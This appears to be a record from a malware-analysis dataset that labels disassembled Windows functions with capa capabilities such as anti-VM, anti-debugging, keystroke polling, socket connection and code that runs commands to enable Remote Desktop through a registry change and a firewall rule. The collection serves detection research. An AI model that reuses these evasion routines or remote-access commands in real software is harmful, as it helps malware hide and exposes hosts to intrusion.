joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000bdfe
Capabilities:
Reference wmi statements

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp - 0x10], 0
lea rax, [rbp - 0x10]
mov rdx, rax
lea rax, str.rootcimv2
mov rcx, rax
call sym.wmi_initialize
cmp eax, 1
je 0x14000be30
mov eax, 0
jmp 0x14000be63
mov rax, qword [rbp - 0x10]
lea r9, [sym.check_wmi_csproduct_name]
lea r8, str.SELECT__FROM_Win32_ComputerSystemProduct
lea rdx, [0x140035414]
mov rcx, rax
call sym.wmi_check_query
mov dword [rbp - 4], eax
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.wmi_cleanup
mov eax, dword [rbp - 4]
add rsp, 0x30
pop rbp
ret

Function at 0x14000c920
Capabilities:
Link many functions at runtime

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
lea rax, str.Ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
lea rdx, str.NtOpenKey
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x14003f0d0], rax
mov rax, qword [rbp - 8]
lea rdx, str.RtlInitUnicodeString
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov rdx, qword [0x140037d20]
mov qword [rdx], rax
mov rax, qword [rbp - 8]
lea rdx, str.NtEnumerateKey
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x14003f0d8], rax
mov rax, qword [rbp - 8]
lea rdx, str.NtQueryValueKey
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x14003f0e0], rax
mov rax, qword [rbp - 8]
lea rdx, str.NtEnumerateValueKey
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x14003f0e8], rax
nop
add rsp, 0x30
pop rbp
ret
Function at 0x14000dcca
Capabilities:
Reference the vmware io port

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
lea rax, [sym.excepIN]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call rax
mov qword [rbp - 8], rax
mov eax, 0x564d5868
mov edx, 0x5658
in eax, dx
cmp ebx, 0x564d5868
sete cl
mov dword [0x14003f0f0], 1
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call rax
mov eax, 0
add rsp, 0x30
pop rbp
ret

Function at 0x14000de69
Capabilities:
Create thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.th_IN]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.msvcrt.dll__beginthreadex]
call rax
mov ecx, 0x64
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov eax, dword [0x14003f0f0]
add rsp, 0x30
pop rbp
ret

Function at 0x14000df40
Capabilities:
Check for unmoving mouse cursor

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
lea rax, [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetCursorPos]
call rax
mov ecx, 0x7d0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rax, [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetCursorPos]
call rax
mov edx, dword [rbp - 8]
mov eax, dword [rbp - 0x10]
cmp edx, eax
jne 0x14000df91
mov edx, dword [rbp - 4]
mov eax, dword [rbp - 0xc]
cmp edx, eax
jne 0x14000df91
mov eax, 1
jmp 0x14000df96
mov eax, 0
add rsp, 0x30
pop rbp
ret

Function at 0x14000e037
Capabilities:
Log keystrokes via polling

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov edx, 0x3e8
mov ecx, 0x28
mov rax, qword [sym.imp.KERNEL32.dll_Beep]
call rax
mov dword [rbp - 4], 0
mov ecx, 1
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
jne 0x14000e092
mov ecx, 2
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
jne 0x14000e092
mov ecx, 4
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
je 0x14000e0a3
add dword [rbp - 4], 1
cmp dword [rbp - 4], 4
jne 0x14000e0a3
mov eax, 0
jmp 0x14000e0b3
mov ecx, 0x64
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x14000e059
add rsp, 0x30
pop rbp
ret

Function at 0x14000e457
Capabilities:
Create thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
lea rax, [rbp - 0xc]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.SampleThread]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 8], rax
lea r9, str.Test
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [0x14003f110], rax
mov rax, qword [0x14003f110]
mov edx, 0x927c0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [0x14003f110]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x40
pop rbp
ret
Function at 0x14000e83e
Capabilities:
Send icmp echo request

Disassembly:
push rbp
mov rbp, rsp
add rsp, 0xffffffffffffff80
mov dword [rbp - 4], 0xffffffff
mov dword [rbp - 8], 0
movabs rax, 0x6675422061746144
mov edx, 0x726566
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov qword [rbp - 0x30], 0
mov qword [rbp - 0x28], 0
mov qword [rbp - 0x10], 0
mov dword [rbp - 0x14], 0
call sym.IcmpCreateFile
mov qword [rbp - 0x20], rax
mov dword [rbp - 0x14], 0x48
mov eax, dword [rbp - 0x14]
mov rcx, rax
call sym.malloc
mov qword [rbp - 0x10], rax
lea r8, [rbp - 0x40]
mov edx, dword [rbp - 4]
mov rax, qword [rbp - 0x20]
mov dword [rsp + 0x38], 0x927c0
mov ecx, dword [rbp - 0x14]
mov dword [rsp + 0x30], ecx
mov rcx, qword [rbp - 0x10]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], 0
mov r9d, 0x20
mov rcx, rax
call sym.IcmpSendEcho
mov dword [rbp - 8], eax
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.free
cmp dword [rbp - 8], 0
jne 0x14000e8ff
mov eax, 0
jmp 0x14000e904
mov eax, 0
sub rsp, 0xffffffffffffff80
pop rbp
ret

Function at 0x14000e948
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
lea rax, str.ping_localhost__n_600
mov rcx, rax
call sym.system
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x14000e9d3
Capabilities:
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov dword [rbp - 4], 0
jmp 0x14000ea55
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov edx, dword [rbp - 4]
lea rcx, [rdx*8]
lea rdx, [0x14003f130]
mov qword [rcx + rdx], rax
mov eax, dword [rbp - 4]
lea rdx, [rax*8]
lea rax, [0x14003f130]
mov rax, qword [rdx + rax]
test rax, rax
jne 0x14000ea51
lea rax, str.CreateEvent_error_n
mov rcx, rax
call sym.printf_9
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
add dword [rbp - 4], 1
cmp dword [rbp - 4], 1
jbe 0x14000e9e4
mov r9d, 0x927c0
mov r8d, 0
lea rax, [0x14003f130]
mov rdx, rax
mov ecx, 2
mov rax, qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
call rax
mov dword [rbp - 8], eax
mov dword [rbp - 4], 0
jmp 0x14000eab1
mov eax, dword [rbp - 4]
lea rdx, [rax*8]
lea rax, [0x14003f130]
mov rax, qword [rdx + rax]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
add dword [rbp - 4], 1
cmp dword [rbp - 4], 1
jbe 0x14000ea8b
mov eax, 0
add rsp, 0x30
pop rbp
ret

Function at 0x14000ecf7
Capabilities:
Create thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.th_int3]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.msvcrt.dll__beginthreadex]
call rax
mov ecx, 0x64
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov eax, dword [0x140032dd0]
add rsp, 0x30
pop rbp
ret

Function at 0x14000ed4a
Capabilities:
Create thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.th_vpcext]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.msvcrt.dll__beginthreadex]
call rax
mov ecx, 0x64
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov eax, dword [0x140032de0]
add rsp, 0x30
pop rbp
ret
Function at 0x14000ed9d
Capabilities:
Create thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.th_int1]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.msvcrt.dll__beginthreadex]
call rax
mov ecx, 0x64
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov eax, dword [0x140032dd4]
add rsp, 0x30
pop rbp
ret

Function at 0x14000edf0
Capabilities:
Create thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.th_icebp]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.msvcrt.dll__beginthreadex]
call rax
mov ecx, 0x64
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov eax, dword [0x140032dd8]
add rsp, 0x30
pop rbp
ret

Function at 0x14000ee43
Capabilities:
Create thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.th_int2d]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.msvcrt.dll__beginthreadex]
call rax
mov ecx, 0x64
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov eax, dword [0x140032ddc]
add rsp, 0x30
pop rbp
ret

Function at 0x14000eea0
Capabilities:
Execute anti-debugging instructions

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
rdtsc
mov dword [rbp - 4], eax
mov dword [rbp - 8], edx
mov edx, dword [rbp - 4]
mov eax, dword [rbp - 8]
shl rax, 0x20
or rax, rdx
mov qword [rbp - 0x10], rax
rdtsc
mov dword [rbp - 4], eax
mov dword [rbp - 8], edx
mov edx, dword [rbp - 4]
mov eax, dword [rbp - 8]
shl rax, 0x20
or rax, rdx
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
sub rax, qword [rbp - 0x10]
add rsp, 0x20
pop rbp
ret

Function at 0x14000eee8
Capabilities:
Execute anti-debugging instructions

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
rdtsc
mov dword [rbp - 4], eax
mov dword [rbp - 8], edx
mov edx, dword [rbp - 4]
mov eax, dword [rbp - 8]
shl rax, 0x20
or rax, rdx
mov qword [rbp - 0x10], rax
mov eax, 0
cpuid
rdtsc
mov dword [rbp - 4], eax
mov dword [rbp - 8], edx
mov edx, dword [rbp - 4]
mov eax, dword [rbp - 8]
shl rax, 0x20
or rax, rdx
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
sub rax, qword [rbp - 0x10]
add rsp, 0x20
pop rbp
ret

Function at 0x14000f029
Capabilities:
Check for time delay via gettickcount

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov dword [rbp - 4], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov dword [rbp - 8], eax
jmp 0x14000f05f
mov eax, 0
cpuid
mov ecx, 0x226
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
add dword [rbp - 4], 1
cmp dword [rbp - 4], 9
jle 0x14000f046
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov dword [rbp - 0xc], eax
mov eax, dword [rbp - 0xc]
sub eax, dword [rbp - 8]
mov eax, eax
imul rax, rax, 0x51eb851f
shr rax, 0x20
shr eax, 5
mov dword [rbp - 0x10], eax
cmp dword [rbp - 0x10], 0x38
seta al
movzx eax, al
add rsp, 0x30
pop rbp
ret
Function at 0x14000f09a
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
lea rax, [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
call rax
test eax, eax
jle 0x14000f0d2
lea rax, [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call rax
cmp eax, 1
jne 0x14000f0d2
mov dword [rbp - 4], 1
cmp dword [rbp - 4], 0
je 0x14000f103
lea rax, [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call rax
test eax, eax
je 0x14000f103
mov rax, qword [rbp - 0x20]
mov rdx, qword [rbp - 0x18]
sub rax, rdx
mov rdx, rax
neg rdx
cmovns rax, rdx
jmp 0x14000f108
mov eax, 0
add rsp, 0x40
pop rbp
ret

Function at 0x14000fd00
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]
Function at 0x14000fd70
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x14003f1b4]
mov r12, rcx
test ebx, ebx
jle 0x14000fea0
mov rax, qword [0x14003f1b8]
xor r9d, r9d
add rax, 0x18
nop dword [rax + rax]
mov r8, qword [rax]
cmp r8, r12
ja 0x14000fdbb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp r12, r8
jb 0x14000fe45
add r9d, 1
add rax, 0x28
cmp r9d, ebx
jne 0x14000fda0
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rsi, rax
test rax, rax
je 0x14000fec2
mov rax, qword [0x14003f1b8]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rsi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14003f1b8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14000fea7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000fe3e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x14000fe50
add dword [0x14003f1b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x14003f1b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000fe3e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor ebx, ebx
jmp 0x14000fdc8
mov rax, qword [0x14003f1b8]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140010440
Capabilities:
Get thread local storage value

Disassembly:
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r13, [0x14003f220]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14003f200]
test rbx, rbx
je 0x14001049c
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x140010493
test r12, r12
je 0x140010493
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140010478
mov rcx, r13
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop r12
pop r13
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400106d0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400106e8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400106f0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x140010700
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x140010745
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp r8, rdx
ja 0x14001073c
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x140010747
add rax, 0x28
cmp rax, r9
jne 0x140010728
xor eax, eax
ret

Function at 0x140010750
Capabilities:
Parse pe header

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x20
mov rbx, rcx
call sym.strlen
cmp rax, 8
ja 0x1400107e0
mov rdx, qword [0x140037bb0]
xor r12d, r12d
cmp word [rdx], 0x5a4d
jne 0x1400107ce
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400107ce
cmp word [rax + 0x18], 0x20b
jne 0x1400107ce
movzx edx, word [rax + 0x14]
lea r12, [rax + rdx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x1400107e0
sub eax, 1
lea rax, [rax + rax*4]
lea rsi, [r12 + rax*8 + 0x28]
jmp 0x1400107b9
add r12, 0x28
cmp r12, rsi
je 0x1400107e0
mov r8d, 8
mov rdx, rbx
mov rcx, r12
call sym.strncmp
test eax, eax
jne 0x1400107b0
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret
xor r12d, r12d
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret

Function at 0x1400107f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140037bb0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140010810
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140010818
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140010810
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x140010865
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14001085c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140010810
add rax, 0x28
cmp rax, r9
jne 0x140010848
xor eax, eax
ret

Function at 0x140010870
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140037bb0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140010890
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140010898
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x140010890
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x1400108b0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x140037bb0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1400108d0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1400108d8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1400108d0
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x140010918
sub edx, 1
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x14001090f
test rcx, rcx
je 0x1400108d0
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140010900
xor eax, eax
ret
Function at 0x140010920
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140037bb0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140010940
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x140010948
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x140010960
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140037bb0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140010980
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140010988
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140010980
sub rcx, rdx
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
movzx r8d, word [r8 + 6]
test r8d, r8d
je 0x140010980
lea eax, [r8 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop dword [rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x1400109cc
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x1400109e0
add rdx, 0x28
cmp rdx, r9
jne 0x1400109b8
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x1400109f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x140037bb0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140010a12
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140010a20
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140010a12
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140010a12
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
movzx r8d, word [r8 + 6]
test r8d, r8d
je 0x140010a12
sub r8d, 1
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop dword [rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140010a6d
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140010a80
add rdx, 0x28
cmp r10, rdx
jne 0x140010a58
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140010a8f
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140010a9f
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140010a76
test ecx, ecx
jg 0x140010a88
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x1800014f0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 1
je 0x180001513
jmp 0x18000155e
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
xor eax, eax
test eax, eax
je 0x18000152e
mov dword [rsp + 0x34], 2
jmp 0x18000155e
mov ecx, 0x43
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x1800012e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
add rsp, 0x48
ret
Function at 0x140001b00
Capabilities:
Connect socket
Resolve dns

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x40
mov ebx, r8d
mov rsi, rdx
mov rdi, rcx
mov rax, qword [0x14008ae00]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov ecx, 2
mov edx, 1
xor r8d, r8d
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rdi], rax
cmp rax, 0xffffffffffffffff
je 0x140001bb7
mov word [rsp + 0x28], 2
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x2a], ax
mov qword [rsp + 0x20], 0
cmp qword [rsi + 0x18], 0x10
mov rcx, rsi
jb 0x140001b65
mov rcx, qword [rsi]
lea r9, [rsp + 0x20]
xor edx, edx
xor r8d, r8d
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x140001bc6
mov rax, qword [rsp + 0x20]
test rax, rax
je 0x140001bc6
mov rax, qword [rax + 0x20]
mov eax, dword [rax + 4]
mov dword [rsp + 0x2c], eax
mov rcx, qword [rdi]
lea rdx, [rsp + 0x28]
mov r8d, reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
js 0x140001bd4
lea rcx, str.Successfully_connected_to_server.
call fcn.14003ac44
mov dil, 1
jmp 0x140001bea
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rcx, str.Could_not_create_socket_:__d_n
jmp 0x140001be1
lea rcx, str.getaddrinfo_failed
call fcn.14003ac44
jmp 0x140001be8
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rcx, str.Could_not_connect_to_server_:__d_n
mov edx, eax
call fcn.140002d40
xor edi, edi
mov rax, qword [rsi + 0x18]
cmp rax, 0x10
jb 0x140001c24
mov rcx, qword [rsi]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x140001c1f
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140001c4e
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.14002bcbc
mov qword [rsi + 0x10], 0
mov qword [rsi + 0x18], recv
mov byte [rsi], 0
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.14002bd70
mov eax, edi
add rsp, 0x40
pop rbx
pop rdi
pop rsi
ret
call fcn.140038150
int3
Function at 0x140003e80
Capabilities:
Create process on windows
Manipulate safe mode programs
Set registry value

Disassembly:
push rsi
push rdi
sub rsp, 0x78
mov rax, qword [0x14008ae00]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], 7
mov qword [rsp + 0x48], recv
mov dword [rsp + 0x30], 0x536d6f43
mov dword [rsp + 0x33], 0x63657053
mov byte [rsp + 0x37], 0
lea rsi, [rsp + 0x50]
lea rdx, [rsp + 0x30]
mov rcx, rsi
call fcn.140018230
cmp qword [rsp + 0x68], 0x10
mov r8, rsi
jb 0x140003ee7
mov r8, qword [rsp + 0x50]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, str._c__reg_add__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal_Server___v_fDenyTSConnections__t_REG_DWORD__d_0__f_
mov rdi, qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor ecx, ecx
xor edx, edx
call rdi
cmp qword [rsp + 0x68], 0x10
mov r8, rsi
jb 0x140003f1c
mov r8, qword [rsp + 0x50]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, str._c__netsh_advfirewall_firewall_set_rule_group_remote_desktop__new_enableYes_
xor ecx, ecx
xor edx, edx
call rdi
cmp qword [rsp + 0x68], 0x10
jb 0x140003f47
mov rsi, qword [rsp + 0x50]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
